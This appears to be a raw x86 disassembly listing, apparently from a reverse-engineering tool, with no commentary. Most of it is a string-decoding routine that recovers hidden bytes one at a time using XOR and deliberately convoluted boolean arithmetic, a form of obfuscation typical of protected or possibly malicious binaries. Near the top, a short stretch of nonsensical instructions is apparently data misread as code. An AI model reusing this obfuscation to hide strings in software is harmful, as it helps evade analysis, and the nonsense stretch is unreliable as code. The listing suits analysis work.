xor cl, 0xff
mov ch, 0xff
xor ch, 0x48
mov dh, 0xff
xor dh, 0x48
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb31c], cl
mov cl, byte [0x101cb311]
xor cl, 0xcc
mov byte [0x101cb31d], cl
mov cl, byte [0x101cb312]
xor cl, 0xa9
mov byte [0x101cb31e], cl
mov cl, byte [0x101cb313]
mov dl, cl
and dl, 0xc3
shl dl, 1
add cl, 0xc3
sub cl, dl
mov byte [str.Fqz0_ro_a], cl
mov cl, byte [0x101cb314]
xor cl, 0xdc
mov byte [0x101cb320], cl
mov cl, byte [0x101cb315]
xor cl, 0x86
mov byte [0x101cb321], cl
mov cl, byte [0x101cb316]
xor cl, 0xba
mov byte [0x101cb322], cl
mov cl, byte [0x101cb361]
mov dl, cl
and dl, 0xa8
shl dl, 1
add cl, 0xa8
sub cl, dl
mov byte [0x101cb369], cl
mov cl, byte [0x101cb362]
xor cl, 0x9c
mov byte [0x101cb36a], cl
mov dh, byte [0x101cb363]
mov cl, dh
xor cl, 0xff
and cl, 0x7d
mov ch, 0xff
xor ch, 0x7d
and dh, ch
mov dl, 0xff
xor dl, 0x53
and dl, 0x7d
and ch, 0x53
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb36b], cl
mov dl, byte [0x101cb364]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x33
or cl, ch
mov ch, 0x33
and ch, 0x33
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb36c], cl
mov cl, byte [0x101cb365]
xor cl, 0xe6
mov byte [0x101cb36d], cl
mov dl, byte [0x101cb366]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x63
mov dh, 0xff
xor dh, 0x63
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x63
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb36e], cl
mov cl, byte [0x101cb367]
xor cl, 0xba
mov byte [0x101cb36f], cl
mov cl, byte [0x101cb368]
mov dl, cl
xor dl, 0xe8
xor dl, 0xff
and dl, 0xe8
shl dl, 1
sub dl, 0xe8
sub cl, dl
mov byte [0x101cb370], cl
mov dword [eax], 0xe2451347
jmp 0x100460cc
wait
in eax, dx
invalid
mov eax, dword [ebp - 0x1c]
sub bl, al
and eax, 0xb91a0d09
push edx
add ebx, eax
ret 0x8b7e
ret
mov eax, dword [ebp - 0x1c]
sbb ebp, edx
pop ebp
jl 0x100438c2
mov eax, 0xea8d3403
sub ebp, ecx
and byte [ebx + 0xd8a9434], 0x4e
mov al, 0x1c
adc byte [eax + 0xd88b2f1], al
pop ebx
mov al, 0x1c
adc byte [edx + 0x1cb04f15], cl
adc byte [eax - 0xe7f2f], cl
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x29
or ch, 0x29
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x29
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb05c], cl
mov cl, byte [0x101cb050]
xor cl, 0xea
mov byte [0x101cb05d], cl
mov cl, byte [0x101cb051]
xor cl, 0xc6
mov byte [0x101cb05e], cl
mov cl, byte [0x101cb052]
xor cl, 0xc2
mov byte [0x101cb05f], cl
mov cl, byte [0x101cb053]
xor cl, 0xf4
mov byte [0x101cb060], cl
mov cl, byte [0x101cb054]
xor cl, 0xd0
mov byte [0x101cb061], cl
mov cl, byte [0x101cb055]
xor cl, 0x5b
mov byte [0x101cb062], cl
mov cl, byte [0x101cb056]
xor cl, 0x4e
mov byte [0x101cb063], cl
mov cl, byte [0x101cb057]
xor cl, 0xfc
mov byte [0x101cb064], cl
mov cl, byte [0x101cb058]
mov dl, cl
and dl, 0x5f
shl dl, 1
add cl, 0x5f
sub cl, dl
mov byte [0x101cb065], cl
mov cl, byte [0x101cb059]
xor cl, 0x9a
mov byte [0x101cb066], cl
mov dh, byte [0x101cb05a]
mov cl, dh
xor cl, 0xff
and cl, 0x55
mov ch, 0xff
xor ch, 0x55
and dh, ch
mov dl, 0xff
xor dl, 0xf3
and dl, 0x55
and ch, 0xf3
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb067], cl
mov dl, byte [0x101cb024]
mov cl, dl
xor cl, 0xff
and cl, 0x13
mov ch, 0xff
xor ch, 0x13
and dl, ch
or cl, dl
mov byte [0x101cb031], cl
mov cl, byte [0x101cb025]
xor cl, 0x44
mov byte [0x101cb032], cl
mov cl, byte [0x101cb026]
xor cl, 0x57
mov byte [0x101cb033], cl
mov cl, byte [0x101cb027]
xor cl, 0xc8
mov byte [0x101cb034], cl
mov dh, byte [0x101cb028]
mov cl, dh
xor cl, 0xff
and cl, 0x56
mov ch, 0xff
xor ch, 0x56
and dh, ch
mov dl, 0xff
xor dl, 0x26
and dl, 0x56
and ch, 0x26
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb035], cl
mov dl, byte [0x101cb029]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xab
or ch, 0xab
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xab
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb036], cl
mov cl, byte [0x101cb02a]
xor cl, 0x58
mov byte [0x101cb037], cl
mov cl, byte [0x101cb02b]
xor cl, 0x74
mov byte [0x101cb038], cl
mov dh, byte [0x101cb02c]
mov cl, dh
xor cl, 0xff
and cl, 0xb0
mov ch, 0xff
xor ch, 0xb0
and dh, ch
mov dl, 0xff
xor dl, 0x90
and dl, 0xb0
and ch, 0x90
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb039], cl
mov cl, byte [0x101cb02d]
xor cl, 0x54
mov byte [0x101cb03a], cl
mov dh, byte [0x101cb02e]
mov cl, dh
xor cl, 0xff
and cl, 0x1a
mov ch, 0xff
xor ch, 0x1a
and dh, ch
mov dl, 0xff
xor dl, 0x4c
and dl, 0x1a
and ch, 0x4c
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb03b], cl
mov cl, byte [0x101cb02f]
xor cl, 0x17
mov byte [0x101cb03c], cl
mov cl, byte [0x101cb030]
xor cl, 0xcf
mov byte [0x101cb03d], cl
mov dl, byte [0x101cb068]
mov cl, dl
xor cl, 0xff
and cl, 0x67
mov ch, 0xff
xor ch, 0x67
and dl, ch
or cl, dl
mov byte [0x101cb073], cl
mov cl, byte [0x101cb069]
mov dl, cl
and dl, 0x35
shl dl, 1
add cl, 0x35
sub cl, dl
mov byte [str.z6M_v], cl
mov cl, byte [0x101cb06a]
mov dl, cl
and dl, 0x31
shl dl, 1
add cl, 0x31
sub cl, dl
mov byte [0x101cb075], cl
mov cl, byte [0x101cb06b]
xor cl, 0xa1
mov byte [0x101cb076], cl
mov cl, byte [0x101cb06c]
xor cl, 0xba
mov byte [0x101cb077], cl
mov cl, byte [0x101cb06d]
xor cl, 0xb2
mov byte [0x101cb078], cl
mov dh, byte [0x101cb06e]
mov cl, dh
xor cl, 0xff
and cl, 0x15
mov ch, 0xff
xor ch, 0x15
and dh, ch
mov dl, 0xff
xor dl, 0xb7
and dl, 0x15
and ch, 0xb7
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb079], cl
mov cl, byte [0x101cb06f]
xor cl, 0x50
mov byte [0x101cb07a], cl
mov cl, byte [0x101cb070]
xor cl, 0xa2
mov byte [0x101cb07b], cl
mov dl, byte [0x101cb071]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xf3
mov dh, 0xff
xor dh, 0xf3
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0xf3
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb07c], cl
mov dl, byte [0x101cb072]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x77
or cl, ch
mov ch, 0xff
xor ch, 0x77
mov dh, 0xff
xor dh, 0x77
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb07d], cl
mov dl, byte [0x101cb07e]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0xbb
xor cl, 0xff
mov ch, 0xbb
and ch, 0xbb
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb087], cl
mov dh, byte [0x101cb07f]
mov cl, dh
xor cl, 0xff
and cl, 0xcf
mov ch, 0xff
xor ch, 0xcf
and dh, ch
mov dl, 0xff
xor dl, 0x9e
and dl, 0xcf
and ch, 0x9e
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb088], cl
mov cl, byte [0x101cb080]
xor cl, 0xdb
mov byte [0x101cb089], cl
mov dl, byte [0x101cb081]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0xcf
mov dh, 0xff
xor dh, 0xcf
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xcf
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb08a], cl
mov dh, byte [0x101cb082]
mov cl, dh
xor cl, 0xff
and cl, 9
mov ch, 0xff
xor ch, 9
and dh, ch
mov dl, 0xff
xor dl, 0x7c
and dl, 9
and ch, 0x7c
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb08b], cl
mov dl, byte [0x101cb083]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x45
or cl, ch
mov ch, 0xff
xor ch, 0x45
mov dh, 0xff
xor dh, 0x45
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb08c], cl
mov cl, byte [0x101cb084]
mov dl, cl
and dl, 0x67
shl dl, 1
add cl, 0x67
sub cl, dl
mov byte [0x101cb08d], cl
mov cl, byte [0x101cb085]
xor cl, 0x45
mov byte [0x101cb08e], cl
mov cl, byte [0x101cb086]
xor cl, 0xc6
mov byte [0x101cb08f], cl
mov cl, byte [0x101cb03e]
mov dl, cl
xor dl, 0x7f
xor dl, 0xff
and dl, 0x7f
shl dl, 1
sub dl, 0x7f
sub cl, dl
mov byte [0x101cb046], cl
mov cl, byte [0x101cb03f]
xor cl, 0xeb
mov byte [0x101cb047], cl
mov dl, byte [0x101cb040]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0xd2
or cl, ch
mov ch, 0xff
xor ch, 0xd2
mov dh, 0xff
xor dh, 0xd2
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb048], cl
mov cl, byte [0x101cb041]
xor cl, 0x80
mov byte [0x101cb049], cl
mov dl, byte [0x101cb042]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x84
xor cl, 0xff
mov ch, 0xff
xor ch, 0x84
mov dh, 0xff
xor dh, 0x84
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb04a], cl
mov cl, byte [0x101cb043]
xor cl, 0x89
mov byte [0x101cb04b], cl
mov cl, byte [0x101cb044]
xor cl, 0x30
mov byte [0x101cb04c], cl
mov dl, byte [0x101cb045]
mov cl, dl
xor cl, 0xff
and cl, 0xc6
mov ch, 0xff
xor ch, 0xc6
and dl, ch
or cl, dl
mov byte [0x101cb04d], cl
mov cl, byte [0x101cb090]
xor cl, 0x26
mov byte [0x101cb0b0], cl
mov cl, byte [0x101cb091]
xor cl, 0x84
mov byte [0x101cb0b1], cl
mov dh, byte [0x101cb092]
mov cl, dh
xor cl, 0xff
and cl, 0xc3
mov ch, 0xff
xor ch, 0xc3
and dh, ch
mov dl, 0xff
xor dl, 0x6e
and dl, 0xc3
and ch, 0x6e
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0b2], cl
mov dl, byte [0x101cb093]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xf4
xor cl, 0xff
mov ch, 0xff
xor ch, 0xf4
mov dh, 0xff
xor dh, 0xf4
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb0b3], cl
mov dl, byte [0x101cb094]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x9a
xor cl, 0xff
mov ch, 0xff
xor ch, 0x9a
mov dh, 0xff
xor dh, 0x9a
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb0b4], cl
mov cl, byte [0x101cb095]
mov dl, cl
xor dl, 0x2e
xor dl, 0xff
and dl, 0x2e
shl dl, 1
sub dl, 0x2e
sub cl, dl
mov byte [0x101cb0b5], cl
mov cl, byte [0x101cb096]
xor cl, 0xd9
mov byte [0x101cb0b6], cl
mov cl, byte [0x101cb097]
xor cl, 0xbf
mov byte [0x101cb0b7], cl
mov cl, byte [0x101cb098]
mov dl, cl
xor dl, 0x86
xor dl, 0xff
and dl, 0x86
shl dl, 1
sub dl, 0x86
sub cl, dl
mov byte [0x101cb0b8], cl
mov dl, byte [0x101cb099]
mov cl, dl
xor cl, 0xff
and cl, 0x88
mov ch, 0xff
xor ch, 0x88
and dl, ch
or cl, dl
mov byte [0x101cb0b9], cl
mov dh, byte [0x101cb09a]
mov cl, dh
xor cl, 0xff
and cl, 0xdb
mov ch, 0xff
xor ch, 0xdb
and dh, ch
mov dl, 0xff
xor dl, 0xbd
and dl, 0xdb
and ch, 0xbd
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0ba], cl
mov cl, byte [str._nXq]
xor cl, 0x6b
mov byte [0x101cb0bb], cl
mov cl, byte [0x101cb09c]
xor cl, 0x36
mov byte [0x101cb0bc], cl
mov dh, byte [0x101cb09d]
mov cl, dh
xor cl, 0xff
and cl, 0x89
mov ch, 0xff
xor ch, 0x89
and dh, ch
mov dl, 0xff
xor dl, 0xad
and dl, 0x89
and ch, 0xad
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0bd], cl
mov cl, byte [0x101cb09e]
xor cl, 0xeb
mov byte [0x101cb0be], cl
mov cl, byte [0x101cb09f]
xor cl, 6
mov byte [0x101cb0bf], cl
mov cl, byte [0x101cb0a0]
xor cl, 0x98
mov byte [0x101cb0c0], cl
mov cl, byte [0x101cb0a1]
xor cl, 0x3d
mov byte [0x101cb0c1], cl
mov cl, byte [0x101cb0a2]
xor cl, 0xd9
mov byte [0x101cb0c2], cl
mov dl, byte [0x101cb0a3]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0xb9
xor cl, 0xff
mov ch, 0xb9
and ch, 0xb9
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb0c3], cl
mov dl, byte [0x101cb0a4]
mov cl, dl
xor cl, 0xff
and cl, 0xa1
mov ch, 0xff
xor ch, 0xa1
and dl, ch
or cl, dl
mov byte [0x101cb0c4], cl
mov cl, byte [0x101cb0a5]
xor cl, 0xb5
mov byte [0x101cb0c5], cl
mov cl, byte [0x101cb0a6]
xor cl, 2
mov byte [0x101cb0c6], cl
mov cl, byte [0x101cb0a7]
mov dl, cl
xor dl, 0xa1
xor dl, 0xff
and dl, 0xa1
shl dl, 1
sub dl, 0xa1
sub cl, dl
mov byte [0x101cb0c7], cl
mov cl, byte [0x101cb0a8]
xor cl, 0xaf
mov byte [0x101cb0c8], cl
mov cl, byte [0x101cb0a9]
xor cl, 0xb4
mov byte [0x101cb0c9], cl
mov cl, byte [0x101cb1e4]
xor cl, 0x95
mov byte [0x101cb1ed], cl
mov cl, byte [0x101cb1e5]
mov dl, cl
xor dl, 0xe2
xor dl, 0xff
and dl, 0xe2
shl dl, 1
sub dl, 0xe2
sub cl, dl
mov byte [0x101cb1ee], cl
mov dl, byte [0x101cb1e6]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0x1c
or ch, 0x1c
xor ch, 0xff
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0x1c
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb1ef], cl
mov cl, byte [0x101cb1e7]
xor cl, 0xef
mov byte [0x101cb1f0], cl
mov cl, byte [0x101cb1e8]
xor cl, 0
mov byte [0x101cb1f1], cl
mov cl, byte [0x101cb1e9]
xor cl, 0xbc
mov byte [0x101cb1f2], cl
mov cl, byte [0x101cb1ea]
xor cl, 0x74
mov byte [0x101cb1f3], cl
mov dh, byte [str.V_n_3]
mov cl, dh
xor cl, 0xff
and cl, 0x75
mov ch, 0xff
xor ch, 0x75
and dh, ch
mov dl, 0xff
xor dl, 0x3e
and dl, 0x75
and ch, 0x3e
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1f4], cl
mov dl, byte [0x101cb1ec]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x2b
or cl, ch
mov ch, 0x2b
and ch, 0x2b
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb1f5], cl
mov cl, byte [0x101cb230]
xor cl, 0x86
mov byte [0x101cb250], cl
mov cl, byte [0x101cb231]
xor cl, 0xfe
mov byte [0x101cb251], cl
mov cl, byte [0x101cb232]
xor cl, 0x56
mov byte [0x101cb252], cl
mov dl, byte [0x101cb233]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 5
or cl, ch
mov ch, 0xff
xor ch, 5
mov dh, 0xff
xor dh, 5
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb253], cl
mov dl, byte [0x101cb234]
mov cl, dl
xor cl, 0xff
and cl, 0xdf
mov ch, 0xff
xor ch, 0xdf
and dl, ch
or cl, dl
mov byte [0x101cb254], cl
mov dl, byte [0x101cb235]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x88
or cl, ch
mov ch, 0x88
and ch, 0x88
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb255], cl
mov dl, byte [0x101cb236]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x9c
or ch, 0x9c
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x9c
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb256], cl
mov dl, byte [0x101cb237]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xb9
mov dh, 0xff
xor dh, 0xb9
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xb9
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb257], cl
mov cl, byte [0x101cb238]
xor cl, 0xf8
mov byte [0x101cb258], cl
mov cl, byte [0x101cb239]
xor cl, 0xe3
mov byte [0x101cb259], cl
mov cl, byte [0x101cb23a]
xor cl, 0x90
mov byte [0x101cb25a], cl
mov cl, byte [0x101cb23b]
xor cl, 0x73
mov byte [0x101cb25b], cl
mov cl, byte [0x101cb23c]
xor cl, 0x3f
mov byte [0x101cb25c], cl
mov cl, byte [0x101cb23d]
xor cl, 0x45
mov byte [0x101cb25d], cl
mov cl, byte [0x101cb23e]
mov dl, cl
xor dl, 0x78
xor dl, 0xff
and dl, 0x78
shl dl, 1
sub dl, 0x78
sub cl, dl
mov byte [0x101cb25e], cl
mov cl, byte [0x101cb23f]
xor cl, 0xe4
mov byte [0x101cb25f], cl
mov cl, byte [0x101cb240]
xor cl, 0xf1
mov byte [0x101cb260], cl
mov cl, byte [0x101cb241]
xor cl, 0x2e
mov byte [0x101cb261], cl
mov cl, byte [0x101cb242]
xor cl, 0xb4
mov byte [0x101cb262], cl
mov cl, byte [0x101cb243]
mov dl, cl
and dl, 0x1f
shl dl, 1
add cl, 0x1f
sub cl, dl
mov byte [0x101cb263], cl
mov cl, byte [0x101cb244]
xor cl, 0xa7
mov byte [0x101cb264], cl
mov dl, byte [0x101cb245]
mov cl, dl
xor cl, 0xff
and cl, 0xe
mov ch, 0xff
xor ch, 0xe
and dl, ch
or cl, dl
mov byte [0x101cb265], cl
mov dl, byte [0x101cb246]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0x30
or ch, 0x30
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x30
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb266], cl
mov dl, byte [0x101cb247]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x1e
or ch, 0x1e
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x1e
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb267], cl
mov cl, byte [0x101cb248]
xor cl, 0x11
mov byte [0x101cb268], cl
mov dh, byte [0x101cb269]
mov cl, dh
xor cl, 0xff
and cl, 0x81
mov ch, 0xff
xor ch, 0x81
and dh, ch
mov dl, 0xff
xor dl, 0x57
and dl, 0x81
and ch, 0x57
or cl, dh
or dl, ch
xor cl, dl
mov byte [str.n7E_], cl
mov dl, byte [0x101cb26a]
mov cl, dl
xor cl, 0xff
and cl, 0x5d
mov ch, 0xff
xor ch, 0x5d
and dl, ch
or cl, dl
mov byte [0x101cb274], cl
mov cl, byte [0x101cb26b]
xor cl, 0xe
mov byte [0x101cb275], cl
mov cl, byte [0x101cb26c]
xor cl, 0x10
mov byte [0x101cb276], cl
mov dl, byte [0x101cb26d]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x28
or cl, ch
mov ch, 0x28
and ch, 0x28
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb277], cl
mov cl, byte [0x101cb26e]
xor cl, 0x96
mov byte [0x101cb278], cl
mov cl, byte [0x101cb26f]
mov dl, cl
xor dl, 0xf4
xor dl, 0xff
and dl, 0xf4
shl dl, 1
sub dl, 0xf4
sub cl, dl
mov byte [0x101cb279], cl
mov cl, byte [0x101cb270]
mov dl, cl
and dl, 0x21
shl dl, 1
add cl, 0x21
sub cl, dl
mov byte [0x101cb27a], cl
mov dh, byte [0x101cb271]
mov cl, dh
xor cl, 0xff
and cl, 0xde
mov ch, 0xff
xor ch, 0xde
and dh, ch
mov dl, 0xff
xor dl, 0xbb
and dl, 0xde
and ch, 0xbb
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb27b], cl
mov cl, byte [0x101cb272]
xor cl, 0xf5
mov byte [0x101cb27c], cl
mov cl, byte [0x101cb27d]
mov dl, cl
and dl, 0xdf
shl dl, 1
add cl, 0xdf
sub cl, dl
mov byte [0x101cb282], cl
mov dh, byte [0x101cb27e]
mov cl, dh
xor cl, 0xff
and cl, 0x10
mov ch, 0xff
xor ch, 0x10
and dh, ch
mov dl, 0xff
xor dl, 0xad
and dl, 0x10
and ch, 0xad
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb283], cl
mov cl, byte [0x101cb27f]
mov dl, cl
and dl, 0x2b
shl dl, 1
add cl, 0x2b
sub cl, dl
mov byte [0x101cb284], cl
mov dl, byte [0x101cb280]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0xed
mov dh, 0xff
xor dh, 0xed
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0xed
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb285], cl
mov cl, byte [0x101cb281]
xor cl, 0x20
mov byte [0x101cb286], cl
mov dh, byte [0x101cb2b0]
mov cl, dh
xor cl, 0xff
and cl, 0x1b
mov ch, 0xff
xor ch, 0x1b
and dh, ch
mov dl, 0xff
xor dl, 0xe7
and dl, 0x1b
and ch, 0xe7
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb2e0], cl
mov cl, byte [0x101cb2b1]
xor cl, 0x7f
mov byte [0x101cb2e1], cl
mov dh, byte [0x101cb2b2]
mov cl, dh
xor cl, 0xff
and cl, 0x2d
mov ch, 0xff
xor ch, 0x2d
and dh, ch
mov dl, 0xff
xor dl, 0xb0
and dl, 0x2d
and ch, 0xb0
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb2e2], cl
mov dl, byte [0x101cb2b3]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x1e
mov dh, 0xff
xor dh, 0x1e
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0x1e
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb2e3], cl
mov dl, byte [0x101cb2b4]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x56
xor cl, 0xff
mov ch, 0xff
xor ch, 0x56
mov dh, 0xff
xor dh, 0x56
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb2e4], cl
mov dl, byte [0x101cb2b5]
mov cl, dl
xor cl, 0xff
and cl, 0xd5
mov ch, 0xff
xor ch, 0xd5
and dl, ch
or cl, dl
mov byte [0x101cb2e5], cl
mov cl, byte [0x101cb2b6]
xor cl, 0x42
mov byte [0x101cb2e6], cl
mov cl, byte [0x101cb2b7]
mov dl, cl
xor dl, 0xc0
xor dl, 0xff
and dl, 0xc0
shl dl, 1
sub dl, 0xc0
sub cl, dl
mov byte [0x101cb2e7], cl
mov cl, byte [0x101cb2b8]
xor cl, 0xa5
mov byte [0x101cb2e8], cl
mov cl, byte [0x101cb2b9]
xor cl, 0xe0
mov byte [0x101cb2e9], cl
mov cl, byte [0x101cb2ba]
xor cl, 0x58
mov byte [0x101cb2ea], cl
mov cl, byte [0x101cb2bb]
xor cl, 0x88
mov byte [0x101cb2eb], cl
mov cl, byte [0x101cb2bc]
xor cl, 0x76
mov byte [0x101cb2ec], cl
mov cl, byte [0x101cb2bd]
mov dl, cl
xor dl, 0xc3
xor dl, 0xff
and dl, 0xc3
shl dl, 1
sub dl, 0xc3
sub cl, dl
mov byte [0x101cb2ed], cl
mov dl, byte [0x101cb2be]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xf
mov dh, 0xff
xor dh, 0xf
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xf
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb2ee], cl
mov cl, byte [0x101cb2bf]
xor cl, 0x47
mov byte [0x101cb2ef], cl
mov dl, byte [0x101cb2c0]
mov cl, dl
xor cl, 0xff
and cl, 0xfb
mov ch, 0xff
xor ch, 0xfb
and dl, ch
or cl, dl
mov byte [0x101cb2f0], cl
mov dl, byte [0x101cb2c1]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x4f
or ch, 0x4f
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x4f
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb2f1], cl
mov cl, byte [0x101cb2c2]
mov dl, cl
xor dl, 0x57
xor dl, 0xff
and dl, 0x57
shl dl, 1
sub dl, 0x57
sub cl, dl
mov byte [0x101cb2f2], cl
mov dl, byte [0x101cb2c3]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x7f
or cl, ch
mov ch, 0xff
xor ch, 0x7f
mov dh, 0xff
xor dh, 0x7f
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb2f3], cl
mov dl, byte [0x101cb2c4]
mov cl, dl
xor cl, 0xff
and cl, 0xc0
mov ch, 0xff
xor ch, 0xc0
and dl, ch
or cl, dl
mov byte [0x101cb2f4], cl
mov cl, byte [0x101cb2c5]
xor cl, 0xa5
mov byte [0x101cb2f5], cl
mov cl, byte [0x101cb2c6]
mov dl, cl
and dl, 0x65
shl dl, 1
add cl, 0x65
sub cl, dl
mov byte [0x101cb2f6], cl
mov cl, byte [0x101cb2c7]
xor cl, 0x74
mov byte [0x101cb2f7], cl
mov dl, byte [0x101cb2c8]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x5e
xor cl, 0xff
mov ch, 0x5e
and ch, 0x5e
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
